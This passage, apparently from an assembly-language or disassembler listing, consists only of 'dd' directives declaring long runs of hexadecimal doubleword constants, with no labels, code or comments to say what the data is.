80A3406Bh, 882EC705h, 60E85BFAh, 8BB6D420h dd 0D710602Ch, 0A130DC48h, 0C3285B81h, 774822FCh, 0D8B58195h dd 7520DBD7h, 9B4205BCh, 93AFE926h, 52F0B8F3h, 50072C8h dd 613A767Bh, 17E32D40h, 0C1669B71h, 52A51A13h, 8B40E2E8h dd 8EA3BD1h, 0F809AF90h, 852D0752h, 9DBA3A24h, 0A955423Dh dd 3D84E927h, 3A2E9DABh, 72A45D34h, 337E6251h, 1DC97611h dd 0CD27F6E2h, 0E24EFC09h, 0F6006794h, 48B724D0h, 0D15B370Fh dd 7CE60220h, 0ADB180A2h, 9EF8155h, 62B9F0CDh, 0A040AD7Ch dd 983B6C9Eh, 252B0B94h, 946A3E43h, 825B0804h, 0C5C7B30Ah dd 3AB65204h, 91F0C283h, 6D2858C3h, 2893B1A0h, 0F1E9D912h dd 0FD2485h, 0B7F78B8Eh, 66640BB3h, 1AD08489h, 0E64E41EEh dd 92DEF707h, 0DB42EBECh, 6EB4E0E9h, 398E2015h, 44C503B8h dd 0D9C8AD75h, 0ABD51DA8h, 0D4CD8183h, 20782F01h, 8182A729h dd 394968D4h, 46C5D87Bh, 28BB84Ch, 0DC1114EFh, 0AFC141F9h dd 844E377Ah, 0F0FFCF8h, 0E9F97EBAh, 0F2927DD6h, 0E5558D42h dd 9569637h, 4ADE09CAh, 88E5E647h, 4005C7BBh, 13E9525Bh dd 0ADF5984Bh, 65000C3Ah, 7204EBD3h, 68349221h, 909AFABCh dd 0EF880054h, 6E7225EEh, 0F58A5777h, 25EFB118h, 9A1C4E38h dd 0BA2CF01h, 0A583D908h, 5C009FC5h, 68C8BF0Fh, 0E7274DA8h dd 8C653084h, 0A6056843h, 5D663F71h, 0F09ECBCh, 60CBD88Ah dd 3B1F2EC8h, 1EE94D0Bh, 19ADB00Dh, 205981CEh, 0AB5EB239h dd 1B2804C1h, 680B6136h, 0D53A31CDh, 0A52DB265h, 0BFEC5CCEh dd 929624Ah, 68546469h, 0C668B07Dh, 224B36Ah, 1DE1626h dd 0F681AEA0h, 0C490F0B5h, 67702D01h, 0CFE90AC7h, 0D400D722h dd 0C012CC80h, 0C4EC04E4h, 0B151D10Fh, 42F187F0h, 0F906E1C3h dd 34C803E9h, 2073926Ah, 59B573E8h, 0F30A6F61h, 1E90907h dd 422D1520h, 3609DA38h, 7CC28952h, 0CDA03B4Ah, 2775D09Fh dd 42C82F45h, 0C57CABF9h, 0E9C59CB9h, 0A94A1CA8h, 5A68C08Ch dd 44E223h, 29283558h, 4FE962E1h, 489D4DB2h, 0BCC93E9Bh dd 27AD48D3h, 8B8B9119h, 0D6828511h, 0DAEF62A9h, 60BBBD00h dd 0E168F7B6h, 0DFAED0Eh, 0F5C06A8Eh, 76C4F278h, 0D4BF89B7h dd 0DDC30844h, 32D1612Dh, 0F1EBD958h, 2820ED71h, 0F5009D06h dd 11EC4B1Dh, 9531A193h, 8700E159h, 0BA0152FDh, 0C0FA05B1h dd 646ED531h, 4FBDD193h, 0B33913EFh, 7DA47CDCh, 5C4B2792h dd 0E3D4BB68h, 315E6880h, 0B86A633Fh, 5A59018Bh, 2F58CD26h dd 0D09F8120h, 6C139F2h dd 6E2897D0h, 7BB010F9h, 7D40FCB0h, 30DB7FBDh, 2CB458CEh dd 5001B462h, 499AE281h, 30201151h, 0ECC8B297h, 1AFA9596h dd 0FAECE03h, 186AA87h, 88C0EE13h, 3814E9F1h, 46B412C7h dd 2D22D873h, 0E44201A3h, 0CCBFBC64h, 94EE3C22h, 2402821Bh dd 0E1BF35B9h, 1C41DB01h, 141CA008h, 0F0F7C09Dh, 5264B57Ah dd 4EFB10Eh, 28CE4062h, 48BEE9C8h, 408F2FAAh, 0DBFAF40Fh dd 402554D9h, 0EE5F5941h, 0C883B787h, 3022478Fh, 52E39EDCh dd 75B2895Fh, 0E95196B0h, 93B66C32h, 0B3B180E7h, 2E284B33h dd 342D2F7h, 77030FFBh, 0DC43F2B0h, 14EB713h, 0AF895904h dd 2F9429ABh, 0C0FA5F49h, 2112D33h, 297DB645h, 78105D0h dd 50F1D7E9h, 0C4FEECC2h, 0BBF4801Ch, 2858E503h, 0C1EDC2DDh dd 0D7CADE29h, 0C0525E25h, 9E23AF62h, 0D5C080B7h, 0C32424Dh dd 66B2890Fh, 1E0BE593h, 2E8633h, 507A88Eh, 21582F40h dd 0ECED1CC0h, 0EEFD9F16h, 25E980A4h, 0F892BD7Eh, 61DDD41h dd 0B266275Ah, 0A4D89A54h, 5B219D82h, 3063B551h, 5C81D250h dd 9F9B4A6h, 1A541908h, 54BCCAB9h, 59796DC1h, 30BE356Ah dd 0D41D0FDh, 18A9C420h, 1F5E1109h, 83305346h, 340CE9EDh dd 58026384h, 0BCA2E945h, 0B3D2B46Bh, 2D5B6800h, 5A350092h dd 0CA81424Ah, 5D482797h, 0DE85169Eh, 0E94FBFA7h, 93E195B6h dd 1C2814BFh, 0C9BAB012h, 0AB1C3A2Bh, 0FBBC7F97h, 6BC8BBE0h dd 0E90E520Fh, 893955EDh, 82FAC659h, 25397EF8h, 0CBAD50D1h dd 71ADFB16h, 0F2594BFEh, 96A993E5h, 0BF01FEA5h, 0B6C50D4h dd 1475D06Dh, 0B479ED0Dh, 0E9361B0Ah, 0A2063B91h, 0C102A27h dd 43AD8A09h, 8F8A853Ch, 7A585E62h, 0E422C64h, 0E03C4742h dd 3BBD53DFh, 777E6502h, 0DC5FFD31h, 49A120A8h, 582791BEh dd 90770CABh, 0D360F8A1h, 9329F2E3h, 811C65ABh, 4A973ECCh dd 0D82D7BBCh, 64B27616h, 82489495h, 0F0F4438Ah, 69BD732Dh dd 7A2709D5h, 0D3BC20F9h, 1EF166A0h, 0C240CC25h, 1AC38616h dd 1390D310h, 62CEA5Dh, 0C82B5E9Bh, 0C340EB8Eh, 0E3785E68h dd 505200A2h, 88F8B753h, 2030B0FCh, 0D882EFBAh, 5FD5AA8Ch dd 400F519Dh, 0E6F0CEF3h, 0E029832Dh, 9852FE28h, 75D72721h dd 0C3428959h, 1FA761F7h, 0DA269C3Ch, 1531ADADh, 1E4F2966h dd 0C88034E7h, 0B6880F30h, 4AE595DFh, 1C2FFC1Fh, 9737FC8Ah dd 11B6A9C6h, 7BF06884h, 682C6CEEh, 5AD6A1B7h, 0CDA011E9h dd 79BB08C4h, 61056B5h, 0C522DB05h, 0EE40AE34h, 32727084h dd 0EA89ED1h, 0B0D77DF8h, 8AA4F6D3h, 0F9C78E0Fh, 5FA6698Dh dd 55C2881Bh, 0F3A4B9FEh, 0D17A4E83h, 5FA7E907h, 0A62C0F74h dd 39E10AA9h, 2CD7AF4h, 19387EE3h, 848287Fh, 1D621627h dd 0A51E5FDBh, 30E95E60h, 5B202062h, 6641F589h, 0D4A66A36h dd 5CDC0125h, 0CCAF82C9h, 0CB2801A0h, 0B41D6E66h, 81A9B522h dd 592704F6h, 844E6201h, 5A0B39DFh, 9411042Ah, 595F0B72h dd 8B4BC8F1h, 3FC559CEh, 0CA101D24h, 3DFD6809h, 8D6284FEh dd 625807AEh, 925FD2F9h, 3CF61D6h, 0FEEAE50h, 718E280Ah dd 14191DD9h, 1608AEF2h, 0C5B61A3h, 0FC4B3EE2h, 0F95E0902h dd 0D073DF5h, 0BDE4CF82h, 0C8A520A8h, 74304E81h, 702113C3h dd 0E4A7E160h, 8D1FF8EAh, 2D6A2Eh, 5089CBD6h, 0C1541268h dd 0C33A00EBh, 48E8AEC6h, 2AE2959h, 0FD2B33EEh, 7693802Ch dd 15220B2Dh, 818E3DE9h, 0B3015616h, 6119012Bh, 2EE96552h dd 0CF80F450h, 3BA99E4Bh, 0B7DF7073h, 9E0453A9h, 3BA5AD14h dd 4B2AFE6h, 37C85A48h, 838059A5h, 0BAD67D2Dh, 81C2B753h dd 559BD501h, 4D6E26C9h, 0DADE6BA5h, 0E806E909h, 890443FAh dd 5C12CD7h, 516DD7EBh, 705D17BEh, 269C15D2h, 3108EE2Dh dd 66A5AF62h, 86327DD0h, 70274EA7h, 6C55BCB0h, 334BF4BCh dd 0B0C84A31h, 0F15BE90Ch, 9BB8CE4h, 55B465D3h, 0FD249889h dd 0BDCFBFB3h, 0A5265924h, 4CCEBDFCh, 0E5599F96h, 53D96825h dd 0D202BBE0h, 0EA1DBE9Ah, 0A619D68Fh, 0C80E5C01h, 2694418h dd 2A24DE7h, 8B5D8868h, 0E984F656h, 0D75109F7h, 0BFA8151Eh dd 69FF03E9h, 6AFE0947h, 272EF49Dh, 8AB15263h, 887A8D7Ch dd 0DEF80864h, 42D9226h, 68667EE7h, 211AC184h, 16033629h dd 9327D546h, 0B12EF44h, 0BCD203ECh, 8B00CEE2h, 5DDD88F1h dd 0E10102C7h, 608E393Eh, 2712E039h, 15007E0Ch, 3BCF57CAh dd 0A086120Fh, 0C560F8DCh, 9BBB36C2h, 9D2016C4h, 74733CABh dd 0C4C32DE5h, 9A11BC2Bh, 0E2A6532Eh, 0C9CA5EE9h, 0E8E89D05h dd 0AD5ABDh, 0ABA6C68Fh, 0A42D5B6Ch, 86251836h, 3F120529h dd 8007E7C1h, 7245DC90h, 0F7044976h, 5C852292h, 372CD1FAh dd 0C3530270h, 2C07F4E3h, 0D347D298h, 0FE7F580Bh, 21BCBEC6h dd 0EEDA9359h, 0A5507F21h, 7909926Dh, 845F22E3h, 1CBB5A5Ah dd 3735194Eh, 6B3A21FAh, 0C3C3784Fh, 9F8CE256h, 0A9F827C4h dd 7080BD3Ah, 0E809615Eh, 0C909355Dh, 0D7B4449Ch, 51779926h dd 83E85750h, 6BE54E1Fh, 798CA539h, 0F541680h, 0BB32A1D0h dd 87C26A37h, 0A0BFE161h, 556CCC6Eh, 0FB091CB0h, 5C7D0878h dd 2C602F6Eh, 0E74F8B0Fh, 9B177D12h, 60EBB416h, 595ACF19h dd 51C80100h, 372D6768h, 0B2E5A30Fh, 0FD26751Ah, 0E30A9FC3h dd 0DF4A1068h, 0F60EE8C0h, 0EAE92F46h, 23F53909h, 10C7C9B8h dd 5BFB267Dh, 0EC30B71h, 86298005h, 0F42ED746h, 430EFD89h dd 0BF78987h, 2DF778E2h, 75DC6F29h, 0A0B01CAh, 0EF45F67Dh dd 0A4F53365h, 7E0260E7h, 41491D52h, 20DF6155h, 8D6197F1h dd 0D5D81352h, 6AB79B1Ch, 5720BA57h, 2EC2B36Ah, 0CE566ACAh dd 27B05060h, 2FB490FEh, 0D5D1F4B8h, 4B18B40Fh, 0C097A385h dd 820BDDEEh, 0DDDCC28Bh, 0BC5C75A4h, 0C7B3024Ah, 0E228E6B5h dd 126C63Eh, 1EB15102h, 0C02FC180h, 0F72AE9CBh, 9B25B5E3h dd 9D9D94C9h, 3B9182E9h, 73413644h, 581CA45h, 0FE24B6D7h dd 0C2EBE224h, 0F26852AAh, 0CE2E8B59h, 0EB93C15Eh, 9F8910ECh dd 53C6DEC8h, 644E1B13h, 6D0D8705h, 4BA8F8D4h, 0CE292D48h dd 6F893FD5h, 72761CEAh, 7B762104h, 0BFD7F683h, 0C9AF73F5h dd 8724204Dh, 32BB0C00h, 0F215592Dh, 0D0F73B17h, 0AB583E81h dd 6C89E936h, 5BB0171h, 295D5259h, 5B08D441h, 84487CD6h dd 90237BE9h, 3E8BE538h, 955C543Dh, 25942511h, 0C92C56F2h dd 0B12E28F6h, 0A4208BA6h, 0AE803C27h, 0E979EA24h, 8395F4A7h dd 2BEF5894h, 6812D9Ah, 2B2212E9h, 8B01A8CCh, 0C710C2C2h dd 98D99D18h, 570B0D42h, 5E2F33C7h, 365DD1B3h, 11BB50C0h dd 68B54404h, 89A049E9h, 45BD1D66h, 0E5D10F26h, 0BDDA7E84h dd 0EB032CCFh, 72099F28h, 8759CC29h, 0D1B44188h, 898144AFh dd 0E07F8DD4h, 42925E0Ch, 9459BE27h, 69699905h, 0F47263D4h dd 0BA1A6908h, 0ED322A82h, 0B14FCE77h, 0AA11B4E7h, 0EF3EE28Bh dd 93BCF25Fh, 35B364D1h, 12EBDB20h, 486C0FEh, 0C976C9DDh dd 2002FC2Bh, 0DFF72501h, 0CF8A8D0Fh, 2776CE6Bh, 694AF989h dd 98E31EA7h, 84975E1Dh, 0FE871547h, 0CA1C40D2h, 0F9B4439Fh dd 6182D544h, 2E09B2CEh, 0C5239F40h, 0B9FF2181h, 138152Ch dd 0AE8C182h, 12CF605Fh, 0A4E98056h, 9EE9335Bh, 968AE9B0h dd 5E8FBA9Dh, 0F8396A72h, 6C4AACE9h, 6A953737h, 0F56248BCh dd 8902AD3Bh, 0E34AC0CBh, 582C9007h, 8204A143h, 0AE719BFDh dd 0EE80D85h, 95ABB1h dd 3D7240BDh, 0B6171A50h, 0E86E4707h, 731A8E06h, 0AB8B8156h dd 0F640947Dh, 0B59BC2Eh, 9183E4C0h, 0BB3AB478h, 0E1E0F350h dd 0D89AD6F6h, 0EB4AD1B5h, 7DD0B2D7h, 5680EEE5h, 7819AB68h dd 855E5B54h, 9F1FBBACh, 4653B809h, 4C8C0454h, 1329282Dh dd 551E8100h, 5E0F500Dh, 9C5CF589h, 16422818h, 681EE976h dd 0C1C68Bh, 804EB1D0h, 0CB28AEF1h, 0C12539Ch, 654E5DBEh dd 0E012E358h, 1DC0F5E9h, 4184820Fh, 891CEC03h, 88F7D0A8h dd 4BB3EF00h, 7D4EA81h, 657AE1D6h, 0A6C104BAh, 0DA210CE5h dd 0F84E681h, 1702522h, 88C1BDF3h, 0F2A44F0Ch, 5C0ED1D1h dd 65307EF0h, 90B64723h, 6C3E5D8Bh, 3D2512Ch, 2810337Eh dd 3987A3E1h, 0D525266Bh, 0E3A58A5h, 0F9885BF7h, 11F73069h dd 8D786655h, 87D9755Eh, 0F5E7F5BAh, 0A0F9027Dh, 0F4BBAE68h dd 564D7412h, 20AE9707h, 0D8894B71h, 1E2BCA2Eh, 654BE62Dh dd 6D0C8039h, 9DC1C877h, 4C203478h, 3D5097CBh, 0B7E68104h dd 0BCC18F04h, 0E94806BDh, 5027ECDBh, 2E89B70Ah, 8288A3Fh dd 0F7015DFCh, 7A860FD8h, 0E23E6E25h, 53E90AD5h, 0CE8CA5C0h dd 488C0BD2h, 0AAA47ACDh, 5B520E5Ch, 0E9515130h, 0D7BD5E76h dd 8026F028h, 9258427Eh, 3FEB73AAh, 0EAC07E1Ch, 33C28105h dd 61CC24E8h, 0AC31977Fh, 0F752B2B6h, 985D1542h, 90EA29B8h dd 0CC2C4E32h, 0F14FF659h, 68CCA501h, 0CC6F554Bh, 33905ED4h dd 0BF8084F4h, 13270C4Ch, 0E4BA477Dh, 1420E65Fh, 3B11663h dd 5257594Ch, 0B9B02168h, 0E92D5A17h, 0EBB96B96h, 0F735026Dh dd 5BBE7399h, 0FEE9E563h, 3E32EEFh, 140DF8D3h, 8095D6ADh dd 4F8F6799h, 2D7EF589h, 98EED878h, 1FB25D2h, 646A69C2h dd 0A40726Fh, 0B05585Dh, 0E0D35E01h, 51FAB068h, 4327ADA7h dd 0B5BC6E9h, 7478472Fh, 560DC24Ch, 5D047D09h, 0D5CB57h dd 4120C6BDh, 0A15F5578h, 6907D7AAh, 0AADF8A09h, 170A1154h dd 79BC1C4Fh, 38F32817h, 0CE2749D1h, 1CA9BD00h, 0BB1A6601h dd 80F9793Ch, 2E8E9530h, 25B4C213h, 8825BD0h, 9B14E7Dh dd 61EE235Ch, 195A5301h, 3BE3DAF1h, 12FFE28Dh, 0F27F9F6h dd 3F556841h, 1316E77Bh, 224904E9h, 683B005Ch, 9D2AEF30h dd 12027D63h, 19742664h, 4DFC0B09h, 2891A82h, 8DA955A0h dd 7E2EB957h, 0CBA20AEEh, 1A470957h, 0DA1E5F22h, 438669Dh dd 0B44BA468h, 0D081BE57h, 132CFAB2h, 0DB6C49D6h, 815EF0A4h dd 4685C6Dh, 2DD082ABh, 0E9BF0344h, 0A26E5835h, 0BF0526F4h dd 0F02BBF09h, 0BEFB08Fh, 49943014h, 45F772F8h, 0CF88BB08h dd 26E65C05h, 12460D2Eh, 3C2AE38Ah, 0B329C0BAh, 48E52570h dd 0C140D3ADh, 6A7911E9h, 4310528Ch, 4D95FA5h, 0C3957D79h dd 0D8316813h, 1316D00Eh, 0EE0954BCh, 27575C87h, 966A16E5h dd 0DDEB8B44h, 55E0CCE6h, 72F8E92Dh, 0C5D232FAh, 0A761F759h dd 935F2868h, 0A5DDD2B2h, 0E9590E5Ch, 223A5EC9h, 48FFBFE5h dd 933929B2h, 3DFB2739h, 0BE5EF22Fh, 850F58D0h, 586DC869h dd 0AAE916CEh, 52E48C2Eh, 454EFCB0h, 0E9F89480h, 0FB13BA93h dd 0B0A6112Dh, 3194C220h, 6D6AC4FEh, 109376FBh, 5FA2A8F9h dd 0CB20EAC4h, 0D1F73B53h, 0A9D0A996h, 7527111Ch, 8200B05Ch dd 0F6E1E380h, 525E66D3h, 380B115h, 21DD6853h, 43B2973Ch dd 9312550Fh, 15626259h, 81770970h, 451ED6CCh, 206FA12Bh dd 8F2CF33h, 0F269802h, 0FCE40587h, 50AB51FBh, 5BF588B8h dd 0C968F1B7h, 19AC8754h, 0D425D309h, 2E89496Bh, 42C85928h dd 54391A19h, 0A8D8512Ch, 1A2C1318h, 0E93E0C08h, 98B5F80Dh dd 2EB8B1B1h, 0F7FB979Bh, 14D311DFh, 3BBB102Ah, 34904B5Bh dd 0F4D05A3h, 18D3468Ch, 60E2545h, 2CF18843h, 50705CE7h dd 0CFC8839h, 754EE9E5h, 6A0B0FBEh, 174B2C30h, 54A5D78h dd 82D08638h, 5EC3AD5h, 4DD2AD99h, 0A81C4053h, 0DFE35C88h dd 0ABAF2F34h, 0B066BB8Ch, 7DA1090Eh, 3FD868E9h, 40E25C4Eh dd 92D5EB8Ah, 223DAB5Dh, 5ECC1F42h, 1DB5428Ah, 441E22C0h dd 41A10982h, 5AF1F51Fh, 0C527E8C1h, 68C0D33Eh, 6673F727h dd 0BA5049DBh, 44FE1Eh, 0EE865901h, 54BE6C0h, 52172CE8h dd 6A16207Eh, 4404656Eh, 4F5AD709h, 0D2A7C0BFh, 12786A5h dd 5E1500FEh, 284B162Dh, 0A7761Ah, 59F7B951h, 0E1811518h dd 6F536A1Fh, 0B32DD8A6h, 0C2A8C9DDh, 685A6E82h, 56A26071h dd 0EBF686B5h, 0FB75D459h, 8FFA07Ah, 7B976CFEh, 0FD8084Fh dd 0E004424h, 89A3B8F4h, 9AECB5F0h, 603E830h, 27503506h dd 0BB740136h, 0F6E78B1Fh, 23E9F847h, 0D1E4FC4Ah, 0C18B9581h dd 37006D7Bh, 49276321h, 0ADF13C81h, 600E3C13h, 7DCDB8E0h dd 0E248DB30h, 616F02CEh, 2BDC0C67h, 60F12AC0h, 840E9F9h dd 1F14BB53h, 7222D7Fh, 0B57DDAF3h, 46C2EA45h, 503058CAh dd 0B47D731h, 0B4BB8F0Fh, 89A5087Ch, 45B37D42h, 7B48DE92h dd 2098864h, 275144E9h, 78828497h, 7008557Ch, 0C0E90907h dd 2EE5DA8h, 5F654888h, 0EAC60CD5h, 5A4F0316h, 59C80177h dd 7FE883A9h, 5AE926B4h, 0ACFDC5F2h, 7F5FB110h, 7739E569h dd 0CD8FEA9Eh, 6AB9B2D7h, 50F3D244h, 0BB055A00h, 1D0A836Eh dd 72DC829h, 0EF0B572Ch, 79AFC87Dh, 12FE822Ch, 0D0460BBCh dd 0E0FA007Ah, 0C40F2D51h, 1627AF28h, 0C8BED100h, 0BF1FC668h dd 3053D231h, 8C59820Dh, 31788191h, 0D0703EE2h, 93061DB3h dd 0C7EF8135h, 310B7137h, 0AC140Ah, 992A9AE8h, 0F951010Fh dd 0E90804F8h, 0D6932A15h, 7617F880h, 0A7B0AC4Fh, 267CB68Dh dd 1EB80BFBh, 68C23C79h, 9A752956h, 0D9C55DC3h, 0B0FAA73Ch dd 97E0FE7Bh, 5C93736Dh, 0DD8148FDh, 2860AA68h, 394B9BBBh dd 205E4DACh, 0CA8681Ah, 0BAF1925Bh, 983DB33Ah, 0FB85040h dd 0A66DF358h, 4217C52Ah, 8B5799E9h, 0CD5630A1h, 0A4D39726h dd 584D6841h, 9B807B57h, 0F60A2D20h, 44030D05h, 0E16A6EB1h dd 4A522855h, 1C9433F2h, 0B5C5D062h, 53F6A148h, 0CAC38828h dd 0F05B8B40h, 95A4FF7h, 39DCC756h, 28302C81h, 71D204F8h dd 682E4C38h, 34B9B272h, 882DB781h, 0EBC15BFDh, 8FF44A4h dd 0C6306EBEh, 13BCB753h, 0EEF1F780h, 0E8503E1Fh, 0A9094D75h dd 0FF7D6812h, 1A59C044h, 761E3614h, 0F3E4216h, 73501983h dd 12F4417Dh, 20490301h, 5A5328B1h, 0B8F8A7Ah, 12BE7CE9h dd 0F1AE60EAh, 169C8265h, 8C1D75B1h, 0E869DB4h, 0CE4E9D0Ah dd 0B86C8C20h, 0B3F1A1ACh, 82D1276Eh, 36D66DAAh, 0BE065060h dd 62CD9653h, 63E0E5C1h, 599DECAEh, 0AF87EA02h, 52132745h dd 0CA30E9B6h, 0CED5E925h, 800445B9h, 0B1F20A8h, 3EF7E8C6h dd 22D2B0D4h, 0D5818EF8h, 0EF56E4CBh, 828EDC82h, 0B28A0FC7h dd 0D62586FCh, 0A8B6C84Eh, 0AD2900F5h, 40AE3561h, 956F74h dd 0B5F581C4h, 0EC437A37h, 0AF5F0AEDh, 1F48572h, 6ECD030Eh dd 0CA516101h, 2DCB088Ah, 105CC07h, 31673714h, 33621F1h dd 5BC02908h, 1B4E1768h, 0BF9279FDh, 0FE42A45Eh, 0F52AA3E9h dd 0F126B26Eh, 0D218DB5Eh, 0BA2CD65h, 0C6897A53h, 0EC095950h dd 0DD60CBF0h, 0F78BFC0Fh, 0F88D36C5h, 0DC6F16FFh, 3B786F3h dd 0B95B59E6h, 0F7534DEDh, 0DB09C8F5h, 1A899511h, 1213EE00h dd 1EC15039h, 38B66D62h, 6A59822Ah, 0AFF6E5AEh, 65A77941h dd 0C830E90h, 50C11B4h, 7AE2F7FAh, 128D0809h, 0CE72AFF8h dd 211C41A3h, 0FA71547Eh dd 4BEEFE2Ch, 0EB35C8F7h, 5A17F50Ah, 2D92B88Fh, 102858EFh dd 0E2B7CCE9h, 12B6FDBEh, 54DFB1A9h, 8044BA8Ah, 12EF5DEEh dd 0ADC4086Ch, 0DEF75905h, 8E441EEFh, 2D054240h, 7D4B80DDh dd 0C64E6E9h, 0FBE5BD62h, 6A81A2EBh, 0D7AF8B6Eh, 0BB3CB905h dd 0C59EE245h, 8BC461BAh, 0C03562FDh, 0AE965B4h, 0EB3B9C1Fh dd 0C4A9177h, 15E28E2Bh, 4FB7A5DEh, 33093CE8h, 91E21A30h dd 68F90377h, 0E9BB16C3h, 0A9AC84BFh, 0F9E9B0C3h, 5DAC9DE3h dd 0B180FEC6h, 0CE083CB3h, 34672096h, 9DFAC5EEh, 0A04F11DBh dd 0D0F70196h, 806EBF65h, 4F557CDCh, 0CE4B013Bh, 5EE9FCE4h dd 0EC581E1Eh, 0EF2B15F5h, 89C4A44Eh, 0F1DC7E25h, 0C4704282h dd 0F15E001Bh, 810F3C73h, 41121AE3h, 0AC1F297Bh, 423830C5h dd 0EBD62FFCh, 39CA0E00h, 1733EB3Bh, 960669E9h, 0D995D91Ch dd 0B10BC505h, 21976BC6h, 0EA17DB00h, 0E6DE7F31h, 649BA85Eh dd 2D6C9820h, 0DEA0CF4Eh, 6C03719Fh, 586146B0h, 75247A90h dd 4A56D860h, 0C4BAAC6Bh, 3EB9BCF1h, 0D952E1D3h, 1CAE0455h dd 0A04E2E00h, 265ABD9Eh, 0B2EE8013h, 0C4A26E0Ah, 0C18A4041h dd 0C787387Fh, 54285A6Bh, 0FDA5EF42h, 7470EBD9h, 20EBD55h dd 0E950CA6Ah, 237CD301h, 0A1FC0397h, 40150C75h, 572C6152h dd 0EEAED305h, 21ABE929h, 3AFA2D30h, 12F8C713h, 0ABE7A117h dd 8F04229h, 4C7197F3h, 0E4B8088h, 0C4C0DCF6h, 58E230EDh dd 0F2FCD2F0h, 0CAFE5018h, 3A282C0Ah, 9B045AD0h, 0BB1421E9h dd 44C21A98h, 9009CBD4h, 273BA67h, 0FE0A4C1Fh, 2B218231h dd 0EAE04AE4h, 0ADA2D734h, 0D2051D60h, 0A85B669Dh, 9F0B68D2h dd 18D3165Ah, 416A002Ch, 60CAE14Eh, 791FD090h, 3D523FC5h dd 0CA2A84B1h, 982CD64Bh, 56412568h, 0E9629674h, 97315428h dd 459A05F3h, 0D441BA53h, 307329E3h, 9C61F241h, 6816C07Dh dd 0C6CC4F5Fh, 43101AA6h, 951EF05h, 0A4AD199Fh, 8BF891F4h dd 86CFA4CBh, 401C562Dh, 0F955BED6h, 0DCA162BDh, 0C6F4493Eh dd 25665C50h, 6FA2BB0Fh, 59044A84h, 5B8E80EBh, 4B4E1E1Ch dd 0A23F68A1h, 0A4B284AAh, 0B91FEA17h, 0B866F681h, 812BD5B4h dd 2CBDE976h, 4CB64B85h, 34758A69h, 16799764h, 3608254Ah dd 1C9612EFh, 3578E5B5h, 6B233216h, 0B8C52C1Ch, 46C049C1h dd 1FFD2242h, 94F50144h, 5E2708C5h, 2A7BE5E9h, 3CB50104h dd 282A80AEh, 5AEE2CF0h, 0E9AD0405h, 0F0B2AF75h, 3844BB02h dd 8D8A36DEh, 0CC501691h, 108E1C70h, 262740E9h, 3F0821FEh dd 0C3DE2583h, 0CF800203h, 5F7CE28Eh, 59822BAEh, 1143E620h dd 53004FD2h, 0BED6851h, 591F0F3Eh, 0D3F9AEA0h, 0F327E917h dd 69E45AF0h, 1FDE04D9h, 5E3CF181h, 35E02278h, 0E3C9CF7Fh dd 0D1CA90E4h, 38658165h, 9BEC4BD0h, 24EF0B1h, 36DC159h dd 4D3E5D69h, 1F293413h, 0BE6349EEh, 64EFABDCh, 0CCEA94C6h dd 0DB9D5694h, 0D9680540h, 68CBEB32h, 599CA45Bh, 24BD7BB7h dd 7E8E1024h, 0C42C9807h, 936ED828h, 5EA16A11h, 0B52DB0h dd 811BFD0Bh, 730607E6h, 60F3548h, 6B84D5DCh, 25E925BAh dd 0DBA9C80h, 4A4B728Ch, 989FDB0h, 0C22159C8h, 1C4B7904h dd 2C83EB14h, 60A702F8h, 3E029F15h, 0F7277E76h, 88ED1668h dd 144BD513h, 0CF8BD7A1h, 69765908h, 2F0CD058h, 0D17C5677h dd 29AA0800h, 4A3D8D0Fh, 0D2C3E9BEh, 5984B505h, 10318EBAh dd 0B05F9FFBh, 6940FAECh, 68D80A31h, 9E3B7D57h, 3D2A7E50h dd 0E37A20D4h, 254AF0F4h, 9244B635h, 34B274ACh, 3EA7ABA4h dd 0D388530Bh, 54266345h, 70485402h, 0E9EAE80Bh, 0CDBDD6DFh dd 7CABEDEDh, 5C292752h, 36F602FFh, 6157493Ah, 0CFD1CEh dd 0F281060Ah, 7F99589Bh, 0E7D32927h, 681005F9h, 10D61FC0h dd 9FB63BA0h, 2809B151h, 8AB86BCEh, 6454075Eh, 8211946Eh dd 475C6B3Ch, 0AA2EAB4Fh, 4670FA0Dh, 8F61C9B6h, 3023827Fh dd 0A1E9FDCBh, 0F34B3A5Bh, 0F3AAC8C4h, 361724CAh, 4DD31F4Ch dd 6B1A64AFh, 0B47F32B2h, 50117F1h, 0FB06F123h, 0CBBA2B75h dd 68B12743h, 0BABC383h, 29B96F61h, 1BAD9F86h, 0B2888096h dd 574B0049h, 142FB7BFh, 0C7812E01h, 3A183B9Dh, 0C0D90C86h dd 2F25A2EDh, 3BD278Dh, 21DE21EFh, 3C30631Eh, 0E20216A6h dd 69BDE19Ch, 0BF361759h, 5F533C62h, 0DF0BD4C5h, 0F0DB20EBh dd 98D0295Eh, 7E5941B3h, 50B41880h, 7C277EF9h, 958976CFh dd 83412F1Eh, 525629A5h, 6B026726h, 416FE526h, 0DABE8429h dd 4A9AE90Bh, 0E02FF8C4h, 8006A1C1h, 0B22AAA9Ch, 84E4D020h dd 93C8A157h, 3A204161h, 0C657F8F1h, 4CA4B534h, 28330F6Dh dd 0D5CF953Bh, 0F111D23Fh, 8AA02BE8h, 0F020FEBh, 55AB1807h dd 0E56811A2h, 9120305Ah, 83665EEAh, 18D239CAh, 98740B77h dd 99930227h, 0ED6D8807h, 0C1C58025h, 7D9564B1h, 615C327Dh dd 8F81D61Bh, 0FEBF3FB0h, 0FC5CD5E2h, 0E8BD5212h, 548ED925h dd 285AD402h, 1C2045F8h, 0D5B825ABh, 0C7313060h, 1ACF78FBh dd 80FF1EE9h, 464B0E20h, 300CC342h, 0C0BF391Bh, 0E21E10F7h dd 2D4D3658h, 0A560D9A4h, 0CD0C9D68h, 0B0C3FE80h, 3509B798h dd 58F7B50Ah, 5E4CC580h, 2DEA52D9h, 0D7490BB2h, 5C139015h dd 5ED5C9B4h, 301BCF6Ah, 0B050A788h, 92CF909Eh, 0E2C1281Ah dd 135D2F95h, 0E0F89549h, 35802248h, 0C32D1ECBh, 0C2089763h dd 0EBE55DE1h, 22546880h, 585B653Eh, 0D310B231h, 4C148C1h dd 18C4493Ch, 405C4088h, 0B02B862h, 891D6D8Fh, 97578C2h dd 33F6307Fh, 8555A50Bh, 0A120550h, 2C2794A9h, 0EAE361A3h dd 201F74B9h, 0D44FB37Ch, 57B14DE2h, 273B3616h, 0A5068FBFh dd 42EF455Fh, 5AA2685Ch, 9D7766D5h, 7BA8E4Ch, 53A513B3h dd 0C9530855h, 0B10AA528h, 8065BC6Dh, 858AA516h, 0B84E33C4h dd 139CC4A9h, 45A1BCB8h, 0CFF78089h, 6D4A01F8h, 253E24Fh dd 760C6857h, 607D3378h, 2C14F119h, 38D317B2h, 3A2A398Bh dd 5788AA83h, 0A4C7450Eh, 